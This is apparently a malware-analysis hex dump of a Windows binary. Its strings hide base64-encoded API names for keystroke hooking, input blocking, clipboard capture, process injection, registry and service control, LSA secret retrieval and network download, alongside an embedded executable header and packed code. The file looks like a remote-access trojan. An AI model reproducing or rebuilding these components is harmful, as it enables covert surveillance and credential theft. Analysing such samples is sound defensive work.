0x13248	526d39735a475679554746306145453d	Rm9sZGVyUGF0aEE=
0x13258	0000000056315254526e4a6c5a55316c	....V1RTRnJlZU1l
0x13268	6257397965513d3d0000000055325675	bW9yeQ==....U2Vu
0x13278	5a45316c63334e685a32564200000000	ZE1lc3NhZ2VB....
0x13288	5532563051324677644856795a513d3d	U2V0Q2FwdHVyZQ==
0x13298	0000000056326c755a473933526e4a76	....V2luZG93RnJv
0x132a8	62564276615735300000000055325630	bVBvaW50....U2V0
0x132b8	5132787063474a7659584a6b52474630	Q2xpcGJvYXJkRGF0
0x132c8	59513d3d000000005532563051335679	YQ==....U2V0Q3Vy
0x132d8	633239795547397a0000000052325630	c29yUG9z....R2V0
0x132e8	566d567963326c76626b563451513d3d	VmVyc2lvbkV4QQ==
0x132f8	000000005232563051335679636d5675	....R2V0Q3VycmVu
0x13308	6446526f636d56685a456c6b00000000	dFRocmVhZElk....
0x13318	52327876596d46735457567462334a35	R2xvYmFsTWVtb3J5
0x13328	553352686448567a000000005547397a	U3RhdHVz....UG9z
0x13338	6445316c63334e685a32564200000000	dE1lc3NhZ2VB....
0x13348	5258687064466470626d527664334e46	RXhpdFdpbmRvd3NF
0x13358	65413d3d000000005257353162566470	eA==....RW51bVdp
0x13368	626d527664334d3d00000000526e4a6c	bmRvd3M=....RnJl
0x13378	5a554e76626e4e766247553d00000000	ZUNvbnNvbGU=....

0x13dd4	646d5675644578765a30453d00000000	dmVudExvZ0E=....
0x13de4	5132397765555a706247564200000000	Q29weUZpbGVB....
0x13df4	544739766133567755484a70646d6c73	TG9va3VwUHJpdmls
0x13e04	5a57646c566d46736457564200000000	ZWdlVmFsdWVB....
0x13e14	55484a765932567a637a4d79526d6c79	UHJvY2VzczMyRmly
0x13e24	6333513d0000000055484a765932567a	c3Q=....UHJvY2Vz
0x13e34	637a4d79546d563464413d3d00000000	czMyTmV4dA==....
0x13e44	5433426c626c427962324e6c63334e55	T3BlblByb2Nlc3NU
0x13e54	6232746c62673d3d000000005433426c	b2tlbg==....T3Bl
0x13e64	626b56325a5735305447396e51513d3d	bkV2ZW50TG9nQQ==
0x13e74	0000000051326868636b356c65485242	....Q2hhck5leHRB
0x13e84	000000005232563056326c755a473933	....R2V0V2luZG93
0x13e94	564756346445453d0000000052325630	VGV4dEE=....R2V0
0x13ea4	51574e3061585a6c56326c755a473933	QWN0aXZlV2luZG93
0x13eb4	0000000051334a6c5958526c55484a76	....Q3JlYXRlUHJv
0x13ec4	5932567a6330453d0000000062484e30	Y2Vzc0E=....bHN0
0x13ed4	636d786c626b453d0000000056475679	cmxlbkE=....VGVy
0x13ee4	62576c755958526c564768795a57466b	bWluYXRlVGhyZWFk
0x13ef4	000000005232563051335679636d5675	....R2V0Q3VycmVu
0x13f04	6446427962324e6c63334d3d00000000	dFByb2Nlc3M=....
0x13f14	525868706446427962324e6c63334d3d	RXhpdFByb2Nlc3M=
0x13f24	000000005232563051335679636d5675	....R2V0Q3VycmVu
0x13f34	6446427962324e6c63334e4a5a413d3d	dFByb2Nlc3NJZA==
0x13f44	00000000565735745958425761575633	....VW5tYXBWaWV3
0x13f54	54325a476157786c0000000054573932	T2ZGaWxl....TW92
0x13f64	5a555a70624756466545453d00000000	ZUZpbGVFeEE=....
0x13f74	545739325a555a706247564200000000	TW92ZUZpbGVB....
0x13f84	524756735a58526c526d6c735a55453d	RGVsZXRlRmlsZUE=
0x13f94	000000005632467064455a76636c4e70	....V2FpdEZvclNp
0x13fa4	626d64735a553969616d566a64413d3d	bmdsZU9iamVjdA==
0x13fb4	00000000556d567a5a585246646d5675	....UmVzZXRFdmVu
0x13fc4	64413d3d000000005257353162564279	dA==....RW51bVBy
0x13fd4	62324e6c63334e6c63773d3d00000000	b2Nlc3Nlcw==....
0x13fe4	525735316256427962324e6c63334e4e	RW51bVByb2Nlc3NN
0x13ff4	623252316247567a0000000052325630	b2R1bGVz....R2V0
0x14004	5457396b645778	TW9kdWx

0x136f4	64455679636d39790000000052325630	dEVycm9y....R2V0
0x13704	56474e77564746696247553d00000000	VGNwVGFibGU=....
0x13714	56334a70644756476157786c00000000	V3JpdGVGaWxl....
0x13724	523256305457396b6457786c526d6c73	R2V0TW9kdWxlRmls
0x13734	5a553568625756420000000055325630	ZU5hbWVB....U2V0
0x13744	526d6c735a564276615735305a58493d	RmlsZVBvaW50ZXI=
0x13754	00000000553256305657356f5957356b	....U2V0VW5oYW5k
0x13764	6247566b5258686a5a58423061573975	bGVkRXhjZXB0aW9u
0x13774	526d6c7364475679000000005433426c	RmlsdGVy....T3Bl
0x13784	626b6c75634856305247567a61335276	bklucHV0RGVza3Rv
0x13794	63413d3d000000005433426c626c4279	cA==....T3BlblBy
0x137a4	62324e6c63334d3d0000000052325630	b2Nlc3M=....R2V0
0x137b4	55335268636e523163456c755a6d3942	U3RhcnR1cEluZm9B
0x137c4	00000000523256305132397462574675	....R2V0Q29tbWFu
0x137d4	5a457870626d56420000000051334a6c	ZExpbmVB....Q3Jl
0x137e4	5958526c564739766247686c6248417a	YXRlVG9vbGhlbHAz
0x137f4	4d6c4e755958427a6147393000000000	MlNuYXBzaG90....
0x13804	5647567962576c755958526c55484a76	VGVybWluYXRlUHJv
0x13814	5932567a63773d3d0000000052475673	Y2Vzcw==....RGVs
0x13824	5a58526c51334a7064476c6a59577854	ZXRlQ3JpdGljYWxT
0x13834	5a574e30615739750000000053573570	ZWN0aW9u....SW5p
0x13844	64476c6862476c365a554e7961585270	dGlhbGl6ZUNyaXRp
0x13854	593246735532566a64476c7662673d3d	Y2FsU2VjdGlvbg==
0x13864	0000000051334a6c5958526c556d5674	....Q3JlYXRlUmVt
0x13874	6233526c564768795a57466b00000000	b3RlVGhyZWFk....
0x13884	51324675593256735357383d00000000	Q2FuY2VsSW8=....
0x13894	556d567462335a6c52476c795a574e30	UmVtb3ZlRGlyZWN0
0x138a4	62334a3551513d3d0000000052325630	b3J5QQ==....R2V0
0x138b4	5257353261584a76626d316c626e5257	RW52aXJvbm1lbnRW
0x138c4	59584a7059574a735a55453d00000000	YXJpYWJsZUE=....
0x138d4	6157356c644639756447396800000000	aW5ldF9udG9h....
0x138e4	6157356c644639685a47527900000000	aW5ldF9hZGRy....
0x138f4	633256755a413d3d000000005a325630	c2VuZA==....Z2V0
0x13904	614739	aG9

0x12ec0	62464e6c593352706232343d00000000	bFNlY3Rpb24=....
0x12ed0	5247563261574e6c5357394462323530	RGV2aWNlSW9Db250
0x12ee0	636d3973000000005132787663325644	cm9s....Q2xvc2VD
0x12ef0	62476c77596d3968636d513d00000000	bGlwYm9hcmQ=....
0x12f00	53584e4462476c77596d3968636d5247	SXNDbGlwYm9hcmRG
0x12f10	62334a7459585242646d467062474669	b3JtYXRBdmFpbGFi
0x12f20	6247553d000000005232563051327870	bGU=....R2V0Q2xp
0x12f30	63474a7659584a6b5247463059513d3d	cGJvYXJkRGF0YQ==
0x12f40	000000005433426c626b526c63327430	....T3BlbkRlc2t0
0x12f50	62334242000000005232563055336c7a	b3BB....R2V0U3lz
0x12f60	6447567454575630636d6c6a63773d3d	dGVtTWV0cmljcw==
0x12f70	00000000556d56735a57467a5a555244	....UmVsZWFzZURD
0x12f80	000000005457567a6332466e5a554a76	....TWVzc2FnZUJv
0x12f90	6545453d00000000523256305247567a	eEE=....R2V0RGVz
0x12fa0	6133527663466470626d527664773d3d	a3RvcFdpbmRvdw==
0x12fb0	0000000055325630556d566a64413d3d	....U2V0UmVjdA==
0x12fc0	000000005232563052454d3d00000000	....R2V0REM=....
0x12fd0	56334a7064475651636d396a5a584e7a	V3JpdGVQcm9jZXNz
0x12fe0	5457567462334a3500000000566d6c79	TWVtb3J5....Vmly
0x12ff0	64485668624546736247396a5258673d	dHVhbEFsbG9jRXg=
0x13000	00000000523256305133567963323979	....R2V0Q3Vyc29y
0x13010	5357356d62773d3d0000000052325630	SW5mbw==....R2V0
0x13020	51335679633239795547397a00000000	Q3Vyc29yUG9z....
0x13030	5433426c626c6470626d527664314e30	T3BlbldpbmRvd1N0
0x13040	59585270623235420000000052325630	YXRpb25B....R2V0
0x13050	55484a765932567a63316470626d5276	UHJvY2Vzc1dpbmRv
0x13060	64314e30595852706232343d00000000	d1N0YXRpb24=....
0x13070	53584e586157356b6233	SXNXaW5kb3

Metadata

0x50ba0	00000000000000000000000000000000	................
0x50bb0	00000000000000000000000000000000	................
0x50bc0	00000000000000000000000000000000	................
0x50bd0	00000000000000000000000000000000	................
0x50be0	00000000000000000000000000000000	................
0x50bf0	00000000000000000000000000000000	................
0x50c00	0000000000000000426f6d6501000000	........Bome....
0x50c10	580000801800008000000000920d6556	X.............eV
0x50c20	426f6d65000001000100000030000080	Bome........0...
0x50c30	00000000920d6556426f6d6500000100	......eVBome....
0x50c40	0904000048000000707005008c4e0000	....H...pp...N..
0x50c50	00000000000000000700540059005000	..........T.Y.P.
0x50c60	45004c00490042000000000000000000	E.L.I.B.........
0x50c70	4d534654020001000000000009040000	MSFT............
0x50c80	00000000410000000100000000000000	....A...........
0x50c90	15000000000000000000000000000000	................
0x50ca0	d50000001f07000000000000ffffffff	................
0x50cb0	ffffffff200000008000000001000000	.... ...........
0x50cc0	010000000000000064000000c8000000	........d.......
0x50cd0	2c01000090010000f4010000580200	,...........X..

0x55e53	24616c6c6f6361746f72404440324040	$allocator@D@2@@
0x55e63	73746440404341504244585a40344442	std@@CAPBDXZ@4DB
0x55e73	00000000004e455441504933322e646c	.....NETAPI32.dl
0x55e83	6c0000000000004e657462696f730000	l......Netbios..
0x55e93	4d5a90000300000004000000ffff0000	MZ..............
0x55ea3	b8000000000000004000000000000000	........@.......
0x55eb3	0000000000080c0048e101565753558b	........H..VWSU.
0x55ec3	5c241c85db0f84ab21e8bd0ee6600d0b	\$......!....`..
0x55ed3	6b65726e6c33322e64144406b8ff1385	kernl32.d.D.....
0x55ee3	c0388f8bf0e80c3386e3ec0069727475	.8.....3....irtu
0x55ef3	616c466518ff53043ea3d0c4ff8be872	alFe..S.>......r
0x55f03	1b41a33387156e6f631c588b24147c8f	.A.3..noc.X.$.\|.
0x55f13	c1f9a1186a681048ff3660f8813908d0	....jh.H.6`..9..
0x55f23	333f8bd8505476045708088d460f42d5	3?..PTv.W...F.B.
0x55f33	c9f9b60c050d300cff110e5053e823	......0....PS.#

0x1f020	c50251e8e90f0000883c2455e9480600	..Q......<$U.H..
0x1f030	00885c240c53fec8e9ed130000f583c5	..\$.S..........
0x1f040	06e948fdffffe928fcffff883424e927	..H....(....4$.'
0x1f050	0400000f91c4539f8b45009c8d642404	......S..E...d$.
0x1f060	0fa2f8f560f583ed0c5238fe837d0c01	....`....R8..}..
0x1f070	6068c7397ac9ff742404e865fbffff30	`h.9z..t$..e...0
0x1f080	c352e94b130000e8d6080000e8710300	.R.K.........q..
0x1f090	001c959cc0f00218e80fb606ff342484	.............4$.
0x1f0a0	d9608d6424280f8fa5f8ffff30d86639	.`.d$(......0.f9
0x1f0b0	c70fbae703f92c5b57e98b0b0000e839	......,[W......9
0x1f0c0	11000086d0660facd00b80fc6a9c8b45	.....f......j..E
0x1f0d0	0080c96e660fbcd28b55040fbae61080	...nf....U......
0x1f0e0	d9f9	..

0x12af0	00000000000000000000000000000000	................
0x12b00	00000000000000004e504b4900000000	........NPKI....
0x12b10	00000000000000000000000000000000	................
0x12b20	4142434445464748494a4b4c4d4e4f50	ABCDEFGHIJKLMNOP
0x12b30	5152535455565758595a616263646566	QRSTUVWXYZabcdef
0x12b40	6768696a6b6c6d6e6f70717273747576	ghijklmnopqrstuv
0x12b50	7778797a303132333435363738392b2f	wxyz0123456789+/
0x12b60	0000000062584e3259334a304c6d5273	....bXN2Y3J0LmRs
0x12b70	62413d3d000000006433527a59584270	bA==....d3RzYXBp
0x12b80	4d7a49755a4778730000000061573174	MzIuZGxs....aW1t
0x12b90	4d7a49755a4778730000000064334d79	MzIuZGxs....d3My
0x12ba0	587a4d794c6d527362413d3d00000000	XzMyLmRsbA==....
0x12bb0	62584e325a6e637a4d69356b6247773d	bXN2ZnczMi5kbGw=
0x12bc0	000000005a3252704d7a49755a477873	....Z2RpMzIuZGxs
0x12bd0	0000000059585a70593246774d7a4975	....YXZpY2FwMzIu
0x12be0	5a477873000000006332686c6247777a	ZGxs....c2hlbGwz
0x12bf0	4d69356b6247773d0000000055326873	Mi5kbGw=....U2hs
0x12c00	643246776153356b6247773d00000000	d2FwaS5kbGw=....
0x12c10	5358426f6248426863476b755a477873	SXBobHBhcGkuZGxs
0x12c20	00000000626d5630595842704d7a4975	....bmV0YXBpMzIu
0x12c30	5a4778730000000064326c756157356c	ZGxs....d2luaW5l
0x12c40	6443356b6247773d0000000064584e6c	dC5kbGw=....dXNl
0x12c50	636a4d794c6d527362413d3d00000000	cjMyLmRsbA==....
0x12c60	63484e6863476b755a47787300000000	cHNhcGkuZGxs....
0x12c70	59575232595842704d7a49755a477873	YWR2YXBpMzIuZGxs
0x12c80	0000000061325679626d56734d7a4975	....a2VybmVsMzIu
0x12c90	5a477873000000005532563052584a79	ZGxs....U2V0RXJy
0x12ca0	62334a4e6232526c0000000062484e30	b3JNb2Rl....bHN0
0x12cb0	636d4e686445453d0000000062484e30	cmNhdEE=....bHN0
0x12cc0	636d4e7463476c420000000051334a6c	cmNtcGlB....Q3Jl
0x12cd0	5958526c526d6c735a55316863484270	YXRlRmlsZU1hcHBp
0x12ce0	626d644200000000523256305447396a	bmdB....R2V0TG9j
0x12cf0	595778556157316c0000000053475668	YWxUaW1l....SGVh
0x12d00	63455a795a57553d0000000054574677	cEZyZWU=....TWFw
0x12d10	566d6c6c6430396d526d6c735a513d3d	Vmlld09mRmlsZQ==
0x12d20	000000005232563053325635546d4674	....R2V0S2V5TmFt
0x12d30	5a56526c654852420000000055325630	ZVRleHRB....U2V0
0x12d40	56326c755a4739336330687662327446	V2luZG93c0hvb2tF
0x12d50	6545453d00000000513246736245356c	eEE=....Q2FsbE5l
0x12d60	65485249623239725258673d00000000	eHRIb29rRXg=....
0x12d70	5657356f6232397256326c755a473933	VW5ob29rV2luZG93
0x12d80	633068766232744665413d3d00000000	c0hvb2tFeA==....
0x12d90	5232563056326c755a47393363305270	R2V0V2luZG93c0Rp
0x12da0	636d566a644739796555453d00000000	cmVjdG9yeUE=....
0x12db0	5232563055484a70646d46305a564279	R2V0UHJpdmF0ZVBy
0x12dc0	62325a70624756545a574e3061573975	b2ZpbGVTZWN0aW9u
0x12dd0	546d46745a584e420000000052325630	TmFtZXNB....R2V0
0x12de0	55484a70646d46305a56427962325a70	UHJpdmF0ZVByb2Zp

0x12ec0	62464e6c593352706232343d00000000	bFNlY3Rpb24=....
0x12ed0	5247563261574e6c5357394462323530	RGV2aWNlSW9Db250
0x12ee0	636d3973000000005132787663325644	cm9s....Q2xvc2VD
0x12ef0	62476c77596d3968636d513d00000000	bGlwYm9hcmQ=....
0x12f00	53584e4462476c77596d3968636d5247	SXNDbGlwYm9hcmRG
0x12f10	62334a7459585242646d467062474669	b3JtYXRBdmFpbGFi
0x12f20	6247553d000000005232563051327870	bGU=....R2V0Q2xp
0x12f30	63474a7659584a6b5247463059513d3d	cGJvYXJkRGF0YQ==
0x12f40	000000005433426c626b526c63327430	....T3BlbkRlc2t0
0x12f50	62334242000000005232563055336c7a	b3BB....R2V0U3lz
0x12f60	6447567454575630636d6c6a63773d3d	dGVtTWV0cmljcw==
0x12f70	00000000556d56735a57467a5a555244	....UmVsZWFzZURD
0x12f80	000000005457567a6332466e5a554a76	....TWVzc2FnZUJv
0x12f90	6545453d00000000523256305247567a	eEE=....R2V0RGVz
0x12fa0	6133527663466470626d527664773d3d	a3RvcFdpbmRvdw==
0x12fb0	0000000055325630556d566a64413d3d	....U2V0UmVjdA==
0x12fc0	000000005232563052454d3d00000000	....R2V0REM=....
0x12fd0	56334a7064475651636d396a5a584e7a	V3JpdGVQcm9jZXNz
0x12fe0	5457567462334a3500000000566d6c79	TWVtb3J5....Vmly
0x12ff0	64485668624546736247396a5258673d	dHVhbEFsbG9jRXg=
0x13000	00000000523256305133567963323979	....R2V0Q3Vyc29y
0x13010	5357356d62773d3d0000000052325630	SW5mbw==....R2V0
0x13020	51335679633239795547397a00000000	Q3Vyc29yUG9z....
0x13030	5433426c626c6470626d527664314e30	T3BlbldpbmRvd1N0
0x13040	59585270623235420000000052325630	YXRpb25B....R2V0
0x13050	55484a765932567a63316470626d5276	UHJvY2Vzc1dpbmRv
0x13060	64314e30595852706232343d00000000	d1N0YXRpb24=....
0x13070	53584e586157356b6233	SXNXaW5kb3

0x13088	523256305457396b6457786c53474675	R2V0TW9kdWxlSGFu
0x13098	5a47786c51513d3d000000005532786c	ZGxlQQ==....U2xl
0x130a8	5a58413d00000000535735305a584a75	ZXA=....SW50ZXJu
0x130b8	5a5852506347567551513d3d00000000	ZXRPcGVuQQ==....
0x130c8	535735305a584a755a58525063475675	SW50ZXJuZXRPcGVu
0x130d8	56584a7351513d3d0000000053573530	VXJsQQ==....SW50
0x130e8	5a584a755a5852535a57466b526d6c73	ZXJuZXRSZWFkRmls
0x130f8	5a513d3d00000000535735305a584a75	ZQ==....SW50ZXJu
0x13108	5a5852446247397a5a556868626d5273	ZXRDbG9zZUhhbmRs
0x13118	5a513d3d0000000051334a6c5958526c	ZQ==....Q3JlYXRl
0x13128	52476c795a574e3062334a3551513d3d	RGlyZWN0b3J5QQ==
0x13138	00000000544739685a454e31636e4e76	....TG9hZEN1cnNv
0x13148	636b453d000000005247567a64484a76	ckE=....RGVzdHJv
0x13158	65554e31636e4e7663673d3d00000000	eUN1cnNvcg==....
0x13168	516d78765932744a626e423164413d3d	QmxvY2tJbnB1dA==
0x13178	0000000061325635596d52665a585a6c	....a2V5YmRfZXZl
0x13188	626e513d000000006257393163325666	bnQ=....bW91c2Vf
0x13198	5a585a6c626e513d0000000054574677	ZXZlbnQ=....TWFw
0x131a8	566d6c79644856686245746c6555453d	VmlydHVhbEtleUE=
0x131b8	0000000055325630564768795a57466b	....U2V0VGhyZWFk
0x131c8	5247567a6133527663413d3d00000000	RGVza3RvcA==....
0x131d8	5232563056584e6c636b3969616d566a	R2V0VXNlck9iamVj
0x131e8	64456c755a6d39796257463061573975	dEluZm9ybWF0aW9u
0x131f8	51513d3d000000005232563056476879	QQ==....R2V0VGhy
0x13208	5a57466b5247567a6133527663413d3d	ZWFkRGVza3RvcA==
0x13218	0000000053573174556d56735a57467a	....SW1tUmVsZWFz
0x13228	5a554e76626e526c6548513d00000000	ZUNvbnRleHQ=....
0x13238	553068485a5852546347566a61574673	U0hHZXRTcGVjaWFs
0x13248	526d39735a475679554746306145453d	Rm9sZGVyUGF0aEE=
0x13258	0000000056315254526e4a6c5a55316c	....V1RTRnJlZU1l
0x13268	6257397965513d3d0000000055325675	bW9yeQ==....U2Vu
0x13278	5a45316c63334e685a32564200000000	ZE1lc3NhZ2VB....
0x13288	5532563051324677644856795a513d3d	U2V0Q2FwdHVyZQ==
0x13298	0000000056326c755a473933526e4a76	....V2luZG93RnJv
0x132a8	62564276615735300000000055325630	bVBvaW50....U2V0
0x132b8	5132787063474a7659584a6b52474630	Q2xpcGJvYXJkRGF0
0x132c8	59513d3d000000005532563051335679	YQ==....U2V0Q3Vy
0x132d8	633239795547397a0000000052325630	c29yUG9z....R2V0
0x132e8	566d567963326c76626b563451513d3d	VmVyc2lvbkV4QQ==
0x132f8	000000005232563051335679636d5675	....R2V0Q3VycmVu
0x13308	6446526f636d56685a456c6b00000000	dFRocmVhZElk....
0x13318	52327876596d46735457567462334a35	R2xvYmFsTWVtb3J5
0x13328	553352686448567a000000005547397a	U3RhdHVz....UG9z
0x13338	6445316c63334e685a32564200000000	dE1lc3NhZ2VB....
0x13348	5258687064466470626d527664334e46	RXhpdFdpbmRvd3NF
0x13358	65413d3d000000005257353162566470	eA==....RW51bVdp
0x13368	626d527664334d3d00000000526e4a6c	bmRvd3M=....RnJl
0x13378	5a554e76626e4e766247553d00000000	ZUNvbnNvbGU=....

0x136f4	64455679636d39790000000052325630	dEVycm9y....R2V0
0x13704	56474e77564746696247553d00000000	VGNwVGFibGU=....
0x13714	56334a70644756476157786c00000000	V3JpdGVGaWxl....
0x13724	523256305457396b6457786c526d6c73	R2V0TW9kdWxlRmls
0x13734	5a553568625756420000000055325630	ZU5hbWVB....U2V0
0x13744	526d6c735a564276615735305a58493d	RmlsZVBvaW50ZXI=
0x13754	00000000553256305657356f5957356b	....U2V0VW5oYW5k
0x13764	6247566b5258686a5a58423061573975	bGVkRXhjZXB0aW9u
0x13774	526d6c7364475679000000005433426c	RmlsdGVy....T3Bl
0x13784	626b6c75634856305247567a61335276	bklucHV0RGVza3Rv
0x13794	63413d3d000000005433426c626c4279	cA==....T3BlblBy
0x137a4	62324e6c63334d3d0000000052325630	b2Nlc3M=....R2V0
0x137b4	55335268636e523163456c755a6d3942	U3RhcnR1cEluZm9B
0x137c4	00000000523256305132397462574675	....R2V0Q29tbWFu
0x137d4	5a457870626d56420000000051334a6c	ZExpbmVB....Q3Jl
0x137e4	5958526c564739766247686c6248417a	YXRlVG9vbGhlbHAz
0x137f4	4d6c4e755958427a6147393000000000	MlNuYXBzaG90....
0x13804	5647567962576c755958526c55484a76	VGVybWluYXRlUHJv
0x13814	5932567a63773d3d0000000052475673	Y2Vzcw==....RGVs
0x13824	5a58526c51334a7064476c6a59577854	ZXRlQ3JpdGljYWxT
0x13834	5a574e30615739750000000053573570	ZWN0aW9u....SW5p
0x13844	64476c6862476c365a554e7961585270	dGlhbGl6ZUNyaXRp
0x13854	593246735532566a64476c7662673d3d	Y2FsU2VjdGlvbg==
0x13864	0000000051334a6c5958526c556d5674	....Q3JlYXRlUmVt
0x13874	6233526c564768795a57466b00000000	b3RlVGhyZWFk....
0x13884	51324675593256735357383d00000000	Q2FuY2VsSW8=....
0x13894	556d567462335a6c52476c795a574e30	UmVtb3ZlRGlyZWN0
0x138a4	62334a3551513d3d0000000052325630	b3J5QQ==....R2V0
0x138b4	5257353261584a76626d316c626e5257	RW52aXJvbm1lbnRW
0x138c4	59584a7059574a735a55453d00000000	YXJpYWJsZUE=....
0x138d4	6157356c644639756447396800000000	aW5ldF9udG9h....
0x138e4	6157356c644639685a47527900000000	aW5ldF9hZGRy....
0x138f4	633256755a413d3d000000005a325630	c2VuZA==....Z2V0
0x13904	614739	aG9

0x13bd4	596d46735657357362324e7200000000	YmFsVW5sb2Nr....
0x13be4	52476c7a59323975626d566a64453568	RGlzY29ubmVjdE5h
0x13bf4	6257566b55476c775a513d3d00000000	bWVkUGlwZQ==....
0x13c04	51334a6c5958526c55476c775a513d3d	Q3JlYXRlUGlwZQ==
0x13c14	0000000051327876633256545a584a32	....Q2xvc2VTZXJ2
0x13c24	61574e6c534746755a47786c00000000	aWNlSGFuZGxl....
0x13c34	556d566e525735316255746c65555634	UmVnRW51bUtleUV4
0x13c44	51513d3d00000000556d566e52573531	QQ==....UmVnRW51
0x13c54	62565a686248566c51513d3d00000000	bVZhbHVlQQ==....
0x13c64	556d566e51334a6c5958526c53325635	UmVnQ3JlYXRlS2V5
0x13c74	5258684200000000556d566e51327876	RXhB....UmVnQ2xv
0x13c84	6332564c5a586b3d00000000556d566e	c2VLZXk=....UmVn
0x13c94	524756735a58526c566d467364575642	RGVsZXRlVmFsdWVB
0x13ca4	00000000556d566e5558566c636e6c57	....UmVnUXVlcnlW
0x13cb4	595778315a55453d00000000556d566e	YWx1ZUE=....UmVn
0x13cc4	5558566c636e6c57595778315a555634	UXVlcnlWYWx1ZUV4
0x13cd4	51513d3d000000005532563055484a76	QQ==....U2V0UHJv
0x13ce4	5932567a63316470626d527664314e30	Y2Vzc1dpbmRvd1N0
0x13cf4	595852706232343d0000000055325630	YXRpb24=....U2V0
0x13d04	55325679646d6c6a5a564e3059585231	U2VydmljZVN0YXR1
0x13d14	63773d3d00000000556d566e61584e30	cw==....UmVnaXN0
0x13d24	5a584a545a584a3261574e6c51335279	ZXJTZXJ2aWNlQ3Ry
0x13d34	62456868626d52735a584a4200000000	bEhhbmRsZXJB....
0x13d44	556d566e5433426c626b746c65555634	UmVnT3BlbktleUV4
0x13d54	51513d3d00000000556d566e5433426c	QQ==....UmVnT3Bl
0x13d64	626b746c6555453d000000005433426c	bktleUE=....T3Bl
0x13d74	626c4e44545746755957646c636b453d	blNDTWFuYWdlckE=
0x13d84	00000000556d566e55325630566d4673	....UmVnU2V0VmFs
0x13d94	645756466545453d0000000051327876	dWVFeEE=....Q2xv
0x13da4	63325646646d5675644578765a30453d	c2VFdmVudExvZ0E=
0x13db4	000000005132787663325645	....Q2xvc2VE

0x140dc	51513d3d0000000051334a6c5958526c	QQ==....Q3JlYXRl
0x140ec	52585a6c626e524200000000526e4a6c	RXZlbnRB....RnJl
0x140fc	5a557870596e4a68636e6b3d00000000	ZUxpYnJhcnk=....
0x1410c	51334a6c5958526c564768795a57466b	Q3JlYXRlVGhyZWFk
0x1411c	00000000563152545558566c636e6c54	....V1RTUXVlcnlT
0x1412c	5a584e7a615739755357356d62334a74	ZXNzaW9uSW5mb3Jt
0x1413c	59585270623235420000000054484e68	YXRpb25B....THNh
0x1414c	526e4a6c5a55316c6257397965513d3d	RnJlZU1lbW9yeQ==
0x1415c	0000000054484e685433426c626c4276	....THNhT3BlblBv
0x1416c	62476c6a65513d3d0000000054484e68	bGljeQ==....THNh
0x1417c	556d5630636d6c6c646d5651636d6c32	UmV0cmlldmVQcml2
0x1418c	5958526c5247463059513d3d00000000	YXRlRGF0YQ==....
0x1419c	54484e68513278766332553d00000000	THNhQ2xvc2U=....
0x141ac	544739766133567751574e6a62335675	TG9va3VwQWNjb3Vu
0x141bc	6445356862575642	dE5hbWVB

Third-party

0x429ec	e5c531f96087c2189252d670c8ebdc10	..1.`....R.p....
0x429fc	dc4d50f01ffdfd80d7926799b43bc29d	.MP.......g..;..
0x42a0c	a0764d6e8dcbc44f7d2862219cbf0f99	.vMn...O}(b!....
0x42a1c	129717713635ca8a0700a03f5c4d7d73	...q65.....?\M}s
0x42a2c	89e541984e40482408d45a54c904b9ee	..A.N@H$..ZT....
0x42a3c	da2c15689b9647845196ed924111be93	.,.h..G.Q...A...
0x42a4c	037eb8e446465cc3ec941e66a7042586	.~..FF\....f..%.
0x42a5c	8df08984c3c8da02c710c8ebac17da47	...............G
0x42a6c	637261636b65642062792078696d6fee	cracked by ximo.
0x42a7c	e688ba91917905422b7b3513addc40d1	.....y.B+{5...@.
0x42a8c	f6b3d49242c7f3bacb3a1039a6050ddf	....B....:.9....
0x42a9c	004cfc5d495c76b66ad35c707548b798	.L.]I\v.j.\puH..
0x42aac	510e7e01fdb5a701216f2213100198ee	Q.~.....!o".....
0x42abc	9ad13d7a013a60355bda67380afa8816	..=z.:`5[.g8....
0x42acc	705d27a11a364b3a48d22144b9fe436c	p]'..6K:H.!D..Cl
0x42adc	03bed8f42ba297d493ed782abc4c808d	....+.....x*.L..
0x42aec	1e970d84ea5adaeff08436aa354905f2	.....Z....6.5I..
0x42afc	caf4048ea9ad878ccea5285d94abaf81	..........(]....
0x42b0c	ec43514162050cb2eea88fa4a8707338	.CQAb........ps8
0x42b1c	0d17b1035c2add96782d637261636b65	....\*..x-cracke
0x42b2c	642062792078696d6fb185e0f4efd396	d by ximo.......
0x42b3c	b2055fa562648c69b573286094294d64	.._.bd.i.s(`.)Md
0x42b4c	228ca05a2e0c7222122749e266dd97c1	"..Z..r".'I.f...
0x42b5c	d5e783db677c9538daa89000faeccf73	....g\|.8.......s
0x42b6c	e909fdcbcc8aa0005455e7e50786d1	........TU.....

0x1485f	0073000000633a5c77696e646f77735c	.s...c:\windows\
0x1486f	73797374656d33325c64726976657273	system32\drivers
0x1487f	5c25735c25730000004d25730025735c	\%s\%s...M%s.%s\
0x1488f	76657273696f6e2e7478740000257300	version.txt..%s.
0x1489f	0057696e202573205350256400370000	.Win %s SP%d.7..
0x148af	00323030380000000056697374610000	.2008....Vista..
0x148bf	00323030330000000058500000323030	.2003....XP..200
0x148cf	30000000004e540000687474703a2f2f	0....NT..http://
0x148df	0025735c6c616e672e696e6900736561	.%s\lang.ini.sea
0x148ef	72636800002575204d4200000046696e	rch..%u MB...Fin
0x148ff	6420435055204572726f72000050726f	d CPU Error..Pro
0x1490f	636573736f724e616d65537472696e67	cessorNameString
0x1491f	0048415244574152455c444553435249	.HARDWARE\DESCRI
0x1492f	5054494f4e5c53797374656d5c43656e	PTION\System\Cen
0x1493f	7472616c50726f636573736f725c3000	tralProcessor\0.
0x1494f	0057696e537461305c44656661756c74	.WinSta0\Default
0x1495f	002200000047657455726c4361636865	."...GetUrlCache
0x1496f	456e747279496e666f4100000055524c	EntryInfoA...URL
0x1497f	446f776e6c6f6164546f436163686546	DownloadToCacheF
0x1498f	696c65410077696e696e65742e646c6c	ileA.wininet.dll
0x1499f	0075726c6d6f6e2e646c6c0000687474	.urlmon.dll..htt
0x149af	70000000005457393661577873595338	p....TW96aWxsYS8
0x149bf	314c6a41674b466470626d527664334d	1LjAgKFdpbmRvd3M
0x149cf	374946553749466470626d527664334d	7IFU7IFdpbmRvd3M
0x149df	67546c51674e6934784f794236614331	gTlQgNi4xOyB6aC1
0x149ef	44546a7367636e59364d5334354c6a49	DTjsgcnY6MS45LjI
0x149ff	754d5455704945646c593274764c7a49	uMTUpIEdlY2tvLzI
0x14a0f	774d5445774d7a417a49455a70636d56	wMTEwMzAzIEZpcmV
0x14a1f	6d623367764d7934324c6a4531000000	mb3gvMy42LjE1...
0x14a2f	005457393661577873595338304c6a41	.TW96aWxsYS80LjA
0x14a3f	674b474e766258426864476c69624755	gKGNvbXBhdGlibGU
0x14a4f	70000000003a0000005d0000005b0000	p....:...]...[..
